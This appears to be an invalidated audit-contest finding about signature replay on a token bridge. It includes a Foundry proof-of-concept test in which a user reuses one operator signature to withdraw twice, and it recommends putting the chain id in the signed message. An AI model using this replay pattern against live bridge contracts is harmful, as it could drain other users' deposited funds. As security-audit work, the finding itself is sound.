Beginner FriendlyFoundryBridge
100 EXP
View results
Submission Details
Severity: medium
Invalid

Cross-chain Replay Attack

Summary

If in future implementations, the bridge allows opting for tokens with the same address, the signature provided by the operator can be reused across different chains to drain funds.

Vulnerability Details

Currently, the message signed by the operator does not distinguish between chains. However, when tokens with different addresses are created using create(), there is currently no way to maliciously reuse the signature in others chains. Nevertheless, if this were to change in the future, with the current verifications, a malicious user could reuse the same signature across different chains to drain funds.

POC

function testReplayAttack() external {
address user2 = makeAddr("USER2");
uint256 depositAmount = 10e18;
deal(address(token), user2, depositAmount);
vm.startPrank(user2);
token.approve(address(tokenBridge), depositAmount);
tokenBridge.depositTokensToL2(user2, userInL2, depositAmount);
vm.stopPrank();
vm.startPrank(user);
uint256 userInitialBalance = token.balanceOf(address(user));
token.approve(address(tokenBridge), depositAmount);
tokenBridge.depositTokensToL2(user, userInL2, depositAmount);
(uint8 v, bytes32 r, bytes32 s) = _signMessage(
_getTokenWithdrawalMessage(user, depositAmount),
operator.key
);
tokenBridge.withdrawTokensToL1(user, depositAmount, v, r, s);
tokenBridge.withdrawTokensToL1(user, depositAmount, v, r, s);
assertEq(
token.balanceOf(address(user)),
userInitialBalance + depositAmount
);
}

Impact

Potential loss of all funds.

Tools Used

Foundry

Recommendations

Add a distinctive feature, including block.chainid in the message to be hashed.

Updates

Lead Judging Commences

0xnevi Lead Judge
almost 2 years ago
0xnevi Lead Judge almost 2 years ago
Submission Judgement Published
Invalidated
Reason: Other

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.